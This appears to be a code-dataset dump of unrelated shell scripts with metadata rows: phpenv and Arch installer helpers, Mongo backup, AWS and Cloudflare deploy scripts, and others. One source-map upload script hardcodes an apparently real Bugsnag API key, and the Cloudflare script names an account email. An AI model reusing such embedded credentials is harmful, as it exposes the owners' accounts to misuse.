if [[ $? != 0 ]]
then
locat=scp_failed; exit
fi
fi
else
printf " +++ get of whole cataloges not realized with BATCH_SCP so far"
locat=unavailable_feature; exit
fi
fi
# EVTL. TRANSFERIERTE DATEI AUF LOKALEM RECHNER LOESCHEN
if [[ $delete = true && $get = false ]]
then
rm -rf $2
fi
# ABSCHLUSSMELDUNG
if [[ $silent = false ]]
then
if (( maxcycle == 0 ))
then
if [[ $append = false ]]
then
printf " >>> transfer successful \n"
else
printf " >>> file was appended \n"
fi
else
printf " >>> transfer successful \n"
if [[ $append = false ]]
then
if [[ $catalog_copy = false ]]
then
printf " new file has cycle number .%03d \n" $maxcycle
else
printf " new catalog has cycle number .%03d \n" $maxcycle
fi
else
printf " append to cycle number .%03d \n" $maxcycle
fi
fi
fi
rm -rf $filelist $errfile
| true
|
5bb568764d59b51809d638352738f10c91bbd9fb
|
Shell
|
ajbm61/dotfiles-1
|
/src/bin/phpenv
|
UTF-8
| 4,206
| 4.25
| 4
|
[] |
no_license
|
#!/bin/sh
set -e
unset CDPATH
unset IFS
show_usage() {
cat <<EOT
Usage: $(basename "$0") [-h|--help] [--version] [-V]
or $(basename "$0") <command> [<args>]
Commands:
install <version> Install a PHP version
versions List all available PHP versions
reload Reloads ~/bin/php{version} symlinks
EOT
}
list_available_versions() {
if test -d "$PREFIX/versions"; then
for version in "$PREFIX/versions/"*; do
prefix=" "
postfix=""
if test -d "$version"; then
name="${version##*/}"
if test -L "$version"; then
resolved="$(readlink -nf "$version")"
postfix=" -> ${resolved##*/}"
fi
fi
echo "${prefix}${name}${postfix}"
done | sort -V
fi
}
install_version() {
version="$1"
if test -z "$version"; then
echo >&2 "$(basename "$0"): version is required"
exit 1
fi
if test ! -d "$PREFIX/versions"; then
mkdir -p "$PREFIX/versions"
fi
prefix="$PREFIX/versions/$(basename "$version")"
if test -e "$prefix"; then
echo >&2 "$(basename "$0"): version already exists"
exit 1
fi
# TODO auto create/update symlinks for latest .x versions i.e. if 7.x
# points to 7.0.5 and installing 7.0.6 and it is latest 7.x version then
# point 7.x at 7.0.6.
echo "install version: $version"
echo "install prefix: $prefix"
exec "$BUILD_BIN" --ini development "$version" "$prefix"
}
# Symbolically links each phpenv version at ~/bin/php{VERSION}.
reload_symlinks() {
echo "*** reload symlinks"
# TODO refactor hardcoded paths
for version_path in ~/.phpenv/versions/[0-9]*; do
if test ! -d "$version_path"; then
continue
fi
version="$(basename "$version_path")"
version_source="$version_path/bin/php"
version_target="$HOME/bin/php$version"
echo "processing version $version"
echo " version path: $version_path"
echo " version source: $version_source"
echo " version target: $version_target"
if test -e "$version_target"; then
if test -h "$version_target"; then
rm -v "$version_target"
else
echo >&2 "ERROR: expected a symbolic file: $version_target"
continue
fi
fi
ln -sv "$version_source" "$version_target"
done
}
# Symbolically links each lde config override into each version.
# Note: This has a dependency on the "lde" toolset.
reload_configs() {
echo "*** reload configurations"
for phpenv_version_etc_conf_d in ~/.phpenv/versions/*/etc/conf.d; do
if test ! -d "$phpenv_version_etc_conf_d"; then
echo >&2 "WARNING: $phpenv_version_etc_conf_d is not a valid directory"
continue
fi
ln -vfs "$PROJECTS_PATH/lde/lde/etc/php/conf.d/90-lde.ini" "$phpenv_version_etc_conf_d/90-lde.ini"
done
}
reload() {
reload_symlinks
reload_configs
}
readonly VERSION="0.4.3"
readonly PREFIX="$HOME/.phpenv"
readonly BUILD_BIN="$HOME/bin/php-build"
if test ! -f "$BUILD_BIN" || test ! -x "$BUILD_BIN"; then
echo >&2 "$(basename "$0"): $(basename "$BUILD_BIN") not found"
exit 1
fi
test "$#" = 0 && show_usage && exit 0
while test "$#" != 0; do
case "$1" in
-h|--help) show_usage; exit 0 ;;
--version) echo "phpenv version $VERSION"; exit 0 ;;
-V) echo "$VERSION"; exit 0 ;;
install)
shift
if test "$1" = "--complete"; then
exec "$BUILD_BIN" --definitions
fi
install_version "$@" || true
reload
exit 0
;;
reload)
reload
exit 0
;;
versions)
list_available_versions
exit 0
;;
--) shift; break ;; # standard end of options list
-*) echo >&2 "$(basename "$0"): unknown option '$1'"; exit 1 ;;
*) echo >&2 "$(basename "$0"): unknown argument '$1'"; exit 1 ;;
esac
shift
done
| true
|
654634630888f4d8d6d0b5cc5d0ec6d76d5ff0db
|
Shell
|
Diaradougou/kbash
|
/api/util/components/api/describe.sh
|
UTF-8
| 814
| 3.28125
| 3
|
[] |
no_license
|
#!/bin/bash
function oneline_help_ENTRYPOINT_describe() {
echo "Describe information about this build env"
}
function cmdline_help_ENTRYPOINT_describe() {
echo "[COMPONENT]"
}
export -f cmdline_help_ENTRYPOINT_describe
function help_ENTRYPOINT_describe() {
ENTRYPOINT_print_component_help describe
}
function run_ENTRYPOINT_describe() {
ENTRYPOINT_run_component_func describe $@
}
function describe_active_ENTRYPOINT_environment() {
#report_node_environmet
#report_python_environment
if [ ! -z "$VAR_PREFIX_ACTIVE_DEVENV" ]; then
echo "Active Bash environment:$VAR_PREFIX_ACTIVE_DEVENV"
describe_environment_ENTRYPOINT_$VAR_PREFIX_ACTIVE_DEVENV
else
echo "No environment activated"
fi
}
export -f run_ENTRYPOINT_describe help_ENTRYPOINT_describe oneline_help_ENTRYPOINT_describe
| true
|
a5919dec8ccb3d345dc077dce92e849e8afaa09c
|
Shell
|
nuevecubica/creando-sabores
|
/doc/backup.sh
|
UTF-8
| 499
| 3.546875
| 4
|
[] |
no_license
|
#!/bin/bash
# Chefcito Mongo Database Backup
# Get the container ID:
CONTAINER=`docker ps | grep mongo | grep -v amb | cut -d" " -f1`
# Create a dump on the container
docker exec $CONTAINER /usr/bin/mongodump --db=chefcito --out=/root/dump
# Copy it here
docker cp $CONTAINER:/root/dump .
# And make a nice tar
sudo tar -cjf mongo-backup.tar.bz2 dump
# Finally, clean up and give the tar a nice name.
sudo rm -rf dump
mv mongo-backup.tar.bz2 backups/mongo-backup-`date +%Y%m%d_%H%M%S`.tar.bz2
| true
|
e79c03369be20970af42b802468a138c5e189ba9
|
Shell
|
XDeschuyteneer/grooveshark-cli
|
/groove
|
UTF-8
| 1,028
| 3.4375
| 3
|
[] |
no_license
|
#! /usr/bin/env zsh
CHROME=$(which chrome-cli)
if [[ "$CHROME" == "chrome-cli not found" ]]; then
echo "no chrome-cli installed, see installation: https://github.com/prasmussen/chrome-cli"
fi
TAB=$(chrome-cli list tabs |
grep -n "Grooveshark" |
awk -F ':' '{print $2}' |
awk -F "]" '{print $1}' |
awk -F "[" '{print $2}')
CMD=""
if [[ "$1" == "next" ]]; then
CMD="window.Grooveshark.next()"
elif [[ "$1" == "prev" ]]; then
CMD="window.Grooveshark.previous()"
elif [[ "$1" == "toggle" ]]; then
CMD="window.Grooveshark.togglePlayPause()"
elif [[ "$1" == "play" ]]; then
CMD="window.Grooveshark.play()"
elif [[ "$1" == "pause" ]]; then
CMD="window.Grooveshark.pause()"
elif [[ "$1" == "fav" ]]; then
CMD="window.Grooveshark.favoriteCurrentSong()"
elif [[ "$1" == "info" ]]; then
CMD='window.Grooveshark.getCurrentSongStatus().song.songName + " - " + window.Grooveshark.getCurrentSongStatus().song.artistName'
fi
if [[ "$1" != "" ]]; then
chrome-cli execute $CMD -t ${TAB}
fi
| true
|
4a45a4159e424398299cd2989671d9ab8534c649
|
Shell
|
gomeet/gomeet
|
/templates/project-creation/hack/grpc-edit-method.sh
|
UTF-8
| 668
| 3.390625
| 3
|
[
"Apache-2.0",
"MIT"
] |
permissive
|
#!/bin/sh
if [ "$1" = "" ]
then
echo "usage: $0 <GrpcServiceName (in KebabCase)>"
exit 1
fi
SCRIPT=$(readlink -f "$0")
SCRIPTPATH=$(dirname "$SCRIPT")
BASE_DIR=$SCRIPTPATH/..
fn=$(echo "$1" | tr '-' '_' | sed 's/./\U&/')
fn_underscore=$(echo $fn | sed 's/\([a-z0-9]\)\([A-Z]\)/\1_\L\2/g' | tr '[:upper:]' '[:lower:]')
fn=$(echo $fn_underscore | sed -r 's/(^|_)([a-z])/\U\2/g')
msg=$fn"Request"
resp=$fn"Response"
if [ "$GOMEET_EDITOR" = "" ]
then
if [ "$EDITOR" = "" ]
then
EDITOR="vim"
fi
GOMEET_EDITOR=$EDITOR' "-c tabdo /'$fn'\|'$fn_underscore'" -p'
fi
METHOD_FILES="$($SCRIPTPATH/grpc-method-files-list.sh $1)"
eval $GOMEET_EDITOR \
$METHOD_FILES
| true
|
89eda79690a4118588687d080961cba2809e53f9
|
Shell
|
ivmakar/app-image-styler
|
/scripts/start-react.sh
|
UTF-8
| 516
| 3.484375
| 3
|
[] |
no_license
|
#!/bin/bash
set -euxo pipefail
#
# See http://qaru.site/questions/72791/checking-from-shell-script-if-a-directory-contains-files
#
pushd /www/web-app/frontend
files=$(shopt -s nullglob dotglob; echo /www/web-app/frontend/node_modules/*)
if (( ${#files} ))
then # /db/mysql/ is not empty
echo "starting react"
npm run build
serve -s build &
else # /db/mysql/ is empty or not exist
echo "installing node modules for react"
npm install
echo "starting react"
npm run build
serve -s build &
fi
popd
| true
|
7bd9772bea67bcbcba328e6404d39a78a279f963
|
Shell
|
ngtrimble/bash-examples
|
/12-calc
|
UTF-8
| 140
| 2.578125
| 3
|
[] |
no_license
|
#!/usr/bin/env bash
set -e
#Internal calculation
echo $(( 1 + 1 ))
#External calculation
let X="1 + 3"
echo $X
echo "scale=9; 10/3" | bc
| true
|
74748185b47625ec858d6da8de739aec187f11a1
|
Shell
|
bhasling/devops_overflow
|
/src/ui/scripts/install_devops_cdn.sh
|
UTF-8
| 1,740
| 3.796875
| 4
|
[
"MIT"
] |
permissive
|
########
# install_devops_cdn.sh
#
# This script uses cloud formation to create the AWS objects to deploy DevOps Overflow to AWS.
# This creates a CloudFront distribution as a Content Delivery Network to view NextJS static HTML
# and also an API Gateway viewing a lambda function containing the GO web server.
# This script copies the static HTML UI to an S3 bucket and copies the GO program to a .zip file
# into the S3 bucket to be installed.
#
########
HtmlBucket='devops-overflow-bucket'
Region='us-east-1'
# Copy the static HTML of the UI to the S3 Bucket for use by CloudFront
aws s3 cp ../out/ s3://$HtmlBucket/ --recursive
# Copy the GO server source code to a build folder and build it and create zip file
rm -rf ../unixlambdabuild
mkdir ../unixlambdabuild
cp -r ../../server/* ../unixlambdabuild
pushd ../unixlambdabuild
# Write GO server configuration file with configuration information so this goes into build
echo "S3BucketName: $HtmlBucket" > config.yaml
echo "Region: $Region" >> config.yaml
echo "StaticFolder: '.'" >> config.yaml
# Build the GO main executable
rm -f main
go build .
# Create a zip file with the GO executable
rm -f lambda_function.zip
zip lambda_function.zip main config.yaml
cd ../out
zip -ru ../unixlambdabuild/lambda_function.zip .
cd ../unixlambdabuild
# Copy the zip file to the S3 bucket for use by cloudformation to install
aws s3 cp lambda_function.zip s3://$HtmlBucket/lambda_function.zip
popd
# Run the CloudFormation stack to create the cloudfront distribution object
aws cloudformation create-stack --stack-name devops-overflow-cdn-stack --template-body file://install_devops_cdn.yaml --capabilities CAPABILITY_IAM --parameters ParameterKey=HtmlBucket,ParameterValue=${HtmlBucket}
| true
|
db1c16da156310c958c34f70031f88fde1954f04
|
Shell
|
PeamThan/soilcrete-data-logger-test
|
/lowlevel/mountUsbMassStorage
|
UTF-8
| 323
| 3.484375
| 3
|
[] |
no_license
|
#!/bin/sh
USB_DISK_DRIVE="/dev/sda1"
if [ $1 == "mount" ]
then
sudo mount -o umask=0 $USB_DISK_DRIVE /media/usb
if [ $? -eq 0 ]
then
echo OK
else
echo FAIL
fi
elif [ $1 == "umount" ]
then
sudo umount /media/usb
if [ $? -eq 0 ]
then
echo OK
else
echo FAIL
fi
else
echo "Wrong script parameter."
fi
| true
|
4821937494360518edf60d6585ee0006c019f268
|
Shell
|
Cloudxtreme/Cloudflare-N3
|
/off/cloud-off-cdn.nyit-nyit.net.sh
|
UTF-8
| 622
| 2.609375
| 3
|
[] |
no_license
|
#!/bin/sh
CLOUDFLARE_API_KEY="YOUR-API"
CLOUDFLARE_LOGIN="dono@nyit-nyit.net"
DNS_ZONE="nyit-nyit.net"
DNS_ENTRY="cdn.nyit-nyit.net"
DNS_ENTRY_ID="29200231"
DNS_ENTRY_TYPE="CNAME"
content="nyit-nyit.net"
service_mode="0"
__switch_to_failover() {
/usr/bin/curl https://www.cloudflare.com/api_json.html \
-d "a=rec_edit" \
-d "tkn=${CLOUDFLARE_API_KEY}" \
-d "id=${DNS_ENTRY_ID}" \
-d "email=${CLOUDFLARE_LOGIN}" \
-d "z=${DNS_ZONE}" \
-d "type=${DNS_ENTRY_TYPE}" \
-d "name=${DNS_ENTRY}" \
-d "content=${content}" \
-d "ttl=1" \
-d "service_mode=${service_mode}"
}
__switch_to_failover;
| true
|
5f99c442b7338b1ea0fa9eb9823df4f09e8488db
|
Shell
|
taylor/bin
|
/sensible-browser
|
UTF-8
| 682
| 3.453125
| 3
|
[] |
no_license
|
#!/bin/bash
DEFAULT_BROWSER="links"
DEFAULT_GUIBROWSER="chromium"
TERMINAL_EMULATOR="xterm"
TERMINAL_EMULATOR_EXEC="-e"
gui_browser_list="firefox chromium chrome google-chrome"
if [ -z "$BROWSER" ] ; then
BROWSER="$DEFAULT_BROWSER"
fi
if [ -z "$GUI_BROWSER" ] ; then
GUI_BROWSER="$DEFAULT_GUIBROWSER"
fi
gui_browser_list="$GUI_BROWSER $gui_browser_list"
for b in $gui_browser_list ; do
GUI_BROWSER=$(which $b 2> /dev/null)
[[ -n "$GUI_BROWSER" ]] && break
done
XTBROWSER="$TERMINAL_EMULATOR $TERMINAL_EMULATOR_EXEC $BROWSER"
if [ -z "$GUI_BROWSER" ] ; then
GUI_BROWSER="$XTBROWSER"
fi
if [ -z "$DISPLAY" ] ; then
exec $BROWSER $@
else
exec $GUI_BROWSER $@
fi
| true
|
eeb4aa4e3d0f73583a499e15a0338d5b1afb32ae
|
Shell
|
brian1102/mobileci
|
/scripts/uploadSourceMap.android.sh
|
UTF-8
| 698
| 2.5625
| 3
|
[] |
no_license
|
#!/bin/sh
API_KEY="f02d37dbdeb099147c6705a5e381963b";
VERSION="$(git describe --long --tags)"
OUTPUT_MAP=bundle/index.android.bundle.map
OUTPUT_MIN=bundle/index.android.bundle
OUTPUT_META=bundle/index.android.bundle.meta
pwd
rm -rf bundle
mkdir bundle
exec > bundle/android.upload-source.map.log
react-native bundle \
--platform android \
--dev false \
--entry-file index.android.js \
--bundle-output $OUTPUT_MIN \
--sourcemap-output $OUTPUT_MAP
bugsnag-sourcemaps upload --api-key $API_KEY \
--app-version ${VERSION// } \
--minified-url index.android.bundle \
--source-map $OUTPUT_MAP \
--minified-file $OUTPUT_MIN \
--overwrite \
--upload-sources \
--add-wildcard-prefix
| true
|
fe8300abf311dbdabdbb71696bb9f9c0f7f46971
|
Shell
|
sfanxiang/archboot
|
/usr/share/archboot/installer/setup
|
UTF-8
| 207,428
| 3.703125
| 4
|
[] |
no_license
|
#!/usr/bin/env bash
# we rely on some output which is parsed in english!
unset LANG
ANSWER="/tmp/.setup"
TITLE="Arch Linux Installation"
# use the first VT not dedicated to a running console
LOG="/dev/tty7"
# where the Archboot media (ISO/CD/USB) should be mounted
_MEDIA="/src"
# don't use /mnt because it's intended to mount other things there!
DESTDIR="/install"
EDITOR=""
_BLKID="blkid -c /dev/null"
_LSBLK="lsblk -rpno"
# name of kernel package
KERNELPKG="linux"
# name of the kernel image
VMLINUZ="vmlinuz-${KERNELPKG}"
# name of the initramfs filesystem
INITRAMFS="initramfs-${KERNELPKG}"
# name of intel ucode initramfs image
INTEL_UCODE="intel-ucode.img"
# abstract the common pacman args
PACMAN="pacman --root ${DESTDIR} --config /tmp/pacman.conf --noconfirm --noprogressbar"
# downloader
DLPROG="wget"
# sources
SYNC_URL=""
FILE_URL="file:///packages/core-$(uname -m)/pkg"
MIRRORLIST="/etc/pacman.d/mirrorlist"
unset PACKAGES
# partitions
PART_ROOT=""
ROOTFS=""
# install stages
S_SRC=0 # choose install medium
S_NET=0 # network configuration
S_PART=0 # partitioning
S_MKFS=0 # formatting
S_MKFSAUTO=0 # auto fs part/formatting
S_SELECT=0 # package selection
S_INSTALL=0 # package installation
S_CONFIG=0 # configuration editing
# menu item tracker- autoselect the next item
NEXTITEM=""
# DIALOG()
# an el-cheapo dialog wrapper
#
# parameters: see dialog(1)
# returns: whatever dialog did
DIALOG() {
dialog --backtitle "${TITLE}" --aspect 15 "$@"
return $?
}
# DIALOG() taken from aif installer
# an el-cheapo dialog wrapper
#
# parameters: see dialog(1)
# returns: whatever dialog did
_checklist_dialog()
{
dialog --backtitle "$TITLE" --aspect 15 "$@" 3>&1 1>&2 2>&3 3>&-
}
# generate menu for package selection
# slightly modified from aif installer
_package_checklist ()
{
str=$1
elaborate=$2
shift 2
list=()
while [[ -n "$1" ]]; do
list+=("$1" "$2" $3)
[[ $elaborate -gt 0 ]] && list+=("$4") # this can be an empty string, that's ok.
shift 3
[[ $elaborate -gt 0 ]] && shift
done
# i wish dialog would accept something like: --output-separator $'\0'
# but it doesn't. there really is no good way to separate items currently
# let's assume there are no newlines in the item tags
ANSWER_CHECKLIST=()
elab=''
[[ $elaborate -gt 0 ]] && elab='--item-help'
while read -r line; do
ANSWER_CHECKLIST+=("$line")
done < <(_checklist_dialog --separate-output $elab --checklist "$str" 19 60 12 "${list[@]}")
local ret=$?
return $ret
}
# get package description
pkgdesc () {
PKGDESC=$(LANG=C $PACMAN -Si "$@" | awk '/^Name/{ printf("%s ",$3) } /^Version/{ printf("%s:",$3) }/^Description/{ for(i=3;i<=NF;++i) printf(" %s",$i); printf ("\n")}')
}
# chroot_mount()
# prepares target system as a chroot
#
chroot_mount()
{
[[ -e "${DESTDIR}/proc" ]] || mkdir -m 555 "${DESTDIR}/proc"
[[ -e "${DESTDIR}/sys" ]] || mkdir -m 555 "${DESTDIR}/sys"
[[ -e "${DESTDIR}/dev" ]] || mkdir -m 755 "${DESTDIR}/dev"
mount --make-runbindable /sys/fs/cgroup
mount --make-runbindable /proc/sys/fs/binfmt_misc
mount --rbind "/proc" "${DESTDIR}/proc"
mount --rbind "/sys" "${DESTDIR}/sys"
mount --rbind "/dev" "${DESTDIR}/dev"
}
# chroot_umount()
# tears down chroot in target system
#
chroot_umount()
{
umount -R "${DESTDIR}/proc"
umount -R "${DESTDIR}/sys"
umount -R "${DESTDIR}/dev"
mount --make-rshared /sys/fs/cgroup
mount --make-rshared /proc/sys/fs/binfmt_misc
}
getfstype()
{
echo "$(${_LSBLK} FSTYPE ${1})"
}
# getfsuuid()
# converts /dev devices to FSUUIDs
#
# parameters: device file
# outputs: FSUUID on success
# nothing on failure
# returns: nothing
getfsuuid()
{
echo "$(${_LSBLK} UUID ${1})"
}
# parameters: device file
# outputs: LABEL on success
# nothing on failure
# returns: nothing
getfslabel()
{
echo "$(${_LSBLK} LABEL ${1})"
}
getpartuuid()
{
echo "$(${_LSBLK} PARTUUID ${1})"
}
getpartlabel()
{
echo "$(${_LSBLK} PARTLABEL ${1})"
}
# list all net devices with mac adress
net_interfaces() {
for i in $(ls /sys/class/net); do
echo "$i $(cat /sys/class/net/$i/address)"
done
}
# activate_dmraid()
# activate dmraid devices
activate_dmraid()
{
if [[ -e /usr/bin/dmraid ]]; then
DIALOG --infobox "Activating dmraid arrays..." 0 0
dmraid -ay -I -Z >/dev/null 2>&1
fi
}
# activate_lvm2
# activate lvm2 devices
activate_lvm2()
{
ACTIVATE_LVM2=""
if [[ -e /usr/bin/lvm ]]; then
OLD_LVM2_GROUPS=${LVM2_GROUPS}
OLD_LVM2_VOLUMES=${LVM2_VOLUMES}
DIALOG --infobox "Scanning logical volumes..." 0 0
lvm vgscan --ignorelockingfailure >/dev/null 2>&1
DIALOG --infobox "Activating logical volumes..." 0 0
lvm vgchange --ignorelockingfailure --ignoremonitoring -ay >/dev/null 2>&1
LVM2_GROUPS="$(vgs -o vg_name --noheading 2>/dev/null)"
LVM2_VOLUMES="$(lvs -o vg_name,lv_name --noheading --separator - 2>/dev/null)"
[[ "${OLD_LVM2_GROUPS}" = "${LVM2_GROUPS}" && "${OLD_LVM2_GROUPS}" = "${LVM2_GROUPS}" ]] && ACTIVATE_LVM2="no"
fi
}
# activate_raid
# activate md devices
activate_raid()
{
ACTIVATE_RAID=""
if [[ -e /usr/bin/mdadm ]]; then
DIALOG --infobox "Activating RAID arrays..." 0 0
mdadm --assemble --scan >/dev/null 2>&1 || ACTIVATE_RAID="no"
fi
}
# activate_luks
# activate luks devices
activate_luks()
{
ACTIVATE_LUKS=""
if [[ -e /usr/bin/cryptsetup ]]; then
DIALOG --infobox "Scanning for luks encrypted devices..." 0 0
if [[ "$(${_LSBLK} FSTYPE | grep "crypto_LUKS")" ]]; then
for PART in $(${_LSBLK} NAME,FSTYPE | grep " crypto_LUKS$" | cut -d' ' -f 1); do
# skip already encrypted devices, device mapper!
if ! [[ "$(${_LSBLK} TYPE ${PART} | grep "crypt$")" ]]; then
RUN_LUKS=""
DIALOG --yesno "Setup detected luks encrypted device, do you want to activate ${PART} ?" 0 0 && RUN_LUKS="1"
[[ "${RUN_LUKS}" = "1" ]] && _enter_luks_name && _enter_luks_passphrase && _opening_luks
[[ "${RUN_LUKS}" = "" ]] && ACTIVATE_LUKS="no"
else
ACTIVATE_LUKS="no"
fi
done
else
ACTIVATE_LUKS="no"
fi
fi
}
# activate_special_devices()
# activate special devices:
# activate dmraid, lvm2 and raid devices, if not already activated during bootup!
# run it more times if needed, it can be hidden by each other!
activate_special_devices()
{
ACTIVATE_RAID=""
ACTIVATE_LUKS=""
ACTIVATE_LVM2=""
activate_dmraid
while ! [[ "${ACTIVATE_LVM2}" = "no" && "${ACTIVATE_RAID}" = "no" && "${ACTIVATE_LUKS}" = "no" ]]; do
activate_raid
activate_lvm2
activate_luks
done
}
_mount_packages_squashfs_images() {
! [[ -d "/packages/core-$(uname -m)" ]] && mkdir -p "/packages/core-$(uname -m)"
! [[ -d "/packages/core-any" ]] && mkdir -p "/packages/core-any"
mountpoint -q /packages/core-$(uname -m) && umount "/packages/core-$(uname -m)"
mountpoint -q /packages/core-any && umount "/packages/core-any"
mount "${_MEDIA}/packages/archboot_packages_$(uname -m).squashfs" "/packages/core-$(uname -m)"
mount "${_MEDIA}/packages/archboot_packages_any.squashfs" "/packages/core-any"
}
# Check media on install packages
check_media() {
if [[ -n "${_iso_loop_dev}" ]] && [[ -n "${_iso_loop_path}" ]]; then
if [[ "$(cat /proc/self/mounts | grep "${_iso_loop_dev}")" ]]; then
_iso_loop_dev_mp="$(findmnt "${_iso_loop_dev}" | tail -n +2 | awk '{print $1}')"
else
_iso_loop_dev_mp="/iso_loop_dev"
mkdir -p "${_iso_loop_dev_mp}"
mount "${_iso_loop_dev}" "${_iso_loop_dev_mp}"
fi
if [[ -e "${_iso_loop_dev_mp}/${_iso_loop_path}" ]]; then
modprobe -q loop
_ISO_LOOP_DEVICE="$(losetup --show --find "${_iso_loop_dev_mp}/${_iso_loop_path}")"
umount "${_MEDIA}" &>/dev/null
mount -o ro,users -t iso9660 "${_ISO_LOOP_DEVICE}" "${_MEDIA}"
else
unset _iso_loop_dev
unset _iso_loop_path
fi
elif [[ ! "${dev}" == "" ]]; then
! [[ "$(cat /proc/self/mounts | grep ${dev})" ]] && mount "${dev}" "${_MEDIA}" >/dev/null 2>&1
fi
if [[ -e "${_MEDIA}/packages/archboot_packages_$(uname -m).squashfs" && -e "${_MEDIA}/packages/archboot_packages_any.squashfs" ]]; then
_mount_packages_squashfs_images
SET_MEDIA="1"
[[ "${AUTOMOUNT}" == "1" ]] && break
else
umount "${_MEDIA}" &>/dev/null
SET_MEDIA="0"
fi
}
# Get cdroms and removable devices
get_media() {
# _MEDIA="/src"
SET_MEDIA="0"
AUTOMOUNT="0"
## Check whether ${_MEDIA} is a mountpoint, if so check whether it contains the archboot packages squashfs files.
## This might be the case if the user manually mounted the media before launching this script
if [[ "$(mountpoint -q "${_MEDIA}")" ]]; then
check_media
fi
## Check whether Archboot iso has been booted in grub(2)'s loopback mode
for param in $(cat /proc/cmdline) ; do
if [[ "$(echo "${param}" | grep 'iso_loop_dev=')" ]]; then
_iso_loop_dev="$(echo ${param} | sed "s|iso_loop_dev=||g")"
fi
if [[ "$(echo "${param}" | grep 'iso_loop_path=')" ]]; then
_iso_loop_path="$(echo "${param}" | sed 's|iso_loop_path=||g')"
fi
if [[ -n "${_iso_loop_dev}" ]] && [[ -n "${_iso_loop_path}" ]]; then
check_media
break
fi
done
AUTOMOUNT="1"
if [[ "${SET_MEDIA}" == "0" ]]; then
# ide/scsi/sata and other devices
for dev in $(${_LSBLK} NAME,TYPE | grep -e " disk$" -e " rom$" | cut -d' ' -f1); do
check_media
done
fi
}
#check on manual mounted source
manual_media() {
if [[ "${SET_MEDIA}" == "0" ]]; then
DIALOG --msgbox "No source media was autodetected, please switch to another Virtual Terminal and manually mount the source media under ${_MEDIA} . If you manually mount to ${_MEDIA} , make sure the packages squashfs files ${_MEDIA}/packages/archboot_packages_$(uname -m).squashfs and ${_MEDIA}/packages/archboot_packages_any.squashfs are available.\n\n" 15 55
fi
if [[ ! -e "${_MEDIA}/packages/archboot_packages_$(uname -m).squashfs" ]]; then
DIALOG --msgbox "$(uname -m) packages squashfs image ${_MEDIA}/packages/archboot_packages_$(uname -m).squashfs is missing!" 0 0
return 1
fi
if [[ ! -e "${_MEDIA}/packages/archboot_packages_any.squashfs" ]]; then
DIALOG --msgbox "'any' packages squashfs image ${_MEDIA}/packages/archboot_packages_any.squashfs is missing!" 0 0
return 1
fi
}
# destdir_mounts()
# check if PART_ROOT is set and if something is mounted on ${DESTDIR}
destdir_mounts(){
# Don't ask for filesystem and create new filesystems
ASK_MOUNTPOINTS=""
PART_ROOT=""
# check if something is mounted on ${DESTDIR}
PART_ROOT="$(mount | grep "${DESTDIR} " | cut -d' ' -f 1)"
# Run mountpoints, if nothing is mounted on ${DESTDIR}
if [[ "${PART_ROOT}" = "" ]]; then
DIALOG --msgbox "Setup couldn't detect mounted partition(s) in ${DESTDIR}, please set mountpoints first." 0 0
detect_uefi_boot
mountpoints || return 1
fi
}
# lists linux blockdevices
blockdevices() {
# all available block disk devices
for dev in $(${_LSBLK} NAME,TYPE | grep "disk$" | cut -d' ' -f1); do
# exclude checks:
#- dmraid_devices
# $(${_LSBLK} TYPE ${dev} | grep dmraid
#- iso9660 devices
# "$(${_LSBLK} FSTYPE ${dev} | grep "iso9660")
#- fakeraid isw devices
# $(${_LSBLK} FSTYPE ${dev} | grep "isw_raid_member")
#- fakeraid ddf devices
# $(${_LSBLK} FSTYPE ${dev} | grep "ddf_raid_member")
if ! [[ "$(${_LSBLK} TYPE ${dev} | grep "dmraid")" || "$(${_LSBLK} FSTYPE ${dev} | grep "iso9660")" || "$(${_LSBLK} FSTYPE ${dev} | grep "isw_raid_member")" || "$(${_LSBLK} FSTYPE ${dev} | grep "ddf_raid_member")" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
}
# lists linux blockdevice partitions
blockdevices_partitions() {
# all available block devices partitions
# printk off needed cause of parted usage
printk off
for part in $(${_LSBLK} NAME,TYPE | grep "part$"| cut -d' ' -f1); do
# exclude checks:
#- part of raid device
# $(${_LSBLK} FSTYPE ${part} | grep "linux_raid_member")
#- part of lvm2 device
# $(${_LSBLK} FSTYPE /dev/${part} | grep "LVM2_member")
#- part of luks device
# $(${_LSBLK} FSTYPE /dev/${part} | grep "crypto_LUKS")
#- extended partition
# $(sfdisk -l 2>/dev/null | grep "${part}" | grep "Extended$")
# - extended partition (LBA)
# $(sfdisk -l 2>/dev/null | grep "${part}" | grep "(LBA)$")
#- bios_grub partitions
# "$(echo ${part} | grep "[a-z]$(parted -s $(${_LSBLK} PKNAME ${part}) print 2>/dev/null | grep bios_grub | cut -d " " -f 2)$")"
#- iso9660 devices
# "$(${_LSBLK} FSTYPE -s ${part} | grep "iso9660")"
if ! [[ "$(${_LSBLK} FSTYPE ${part} | grep "linux_raid_member")" || "$(${_LSBLK} FSTYPE ${part} | grep "LVM2_member")" || "$(${_LSBLK} FSTYPE ${part} | grep "crypto_LUKS")" || "$(sfdisk -l 2>/dev/null | grep "${part}" | grep "Extended$")" || "$(sfdisk -l 2>/dev/null | grep "${part}" | grep "(LBA)$")" || "$(echo ${part} | grep "[a-z]$(parted -s $(${_LSBLK} PKNAME ${part}) print 2>/dev/null | grep bios_grub | cut -d " " -f 2)$")" || "$(${_LSBLK} FSTYPE -s ${part} | grep "iso9660")" ]]; then
echo "${part}"
[[ "${1}" ]] && echo ${1}
fi
done
printk on
}
# list none partitionable raid md devices
raid_devices() {
for dev in $(${_LSBLK} NAME,TYPE | grep " raid.*$" | cut -d' ' -f 1 | grep -v "_d.*$" | sort -u); do
# exclude checks:
# - part of lvm2 device_found
# ${_LSBLK} FSTYPE ${dev} | grep "LVM2_member")
# - part of luks device
# $(${_LSBLK} FSTYPE ${dev} | grep "crypto_LUKS")
# - part of isw fakeraid
# $(${_LSBLK} FSTYPE ${dev} -s | grep "isw_raid_member")
# - part of ddf fakeraid
# $(${_LSBLK} FSTYPE ${dev} -s | grep "ddf_raid_member")
if ! [[ "$(${_LSBLK} FSTYPE ${dev} | grep "LVM2_member")" || "$(${_LSBLK} FSTYPE ${dev} | grep "crypto_LUKS")" || "$(${_LSBLK} FSTYPE ${dev} -s | grep "isw_raid_member")" || "$(${_LSBLK} FSTYPE ${dev} -s | grep "ddf_raid_member")" ]]; then
echo "${dev}"
[[ "${1}" ]] && echo ${1}
fi
done
}
# lists default linux partitionable raid devices
partitionable_raid_devices() {
for dev in $(${_LSBLK} NAME,TYPE | grep " raid.*$" | cut -d' ' -f 1 | grep "_d.*$" | sort -u); do
echo "${dev}"
[[ "${1}" ]] && echo ${1}
done
}
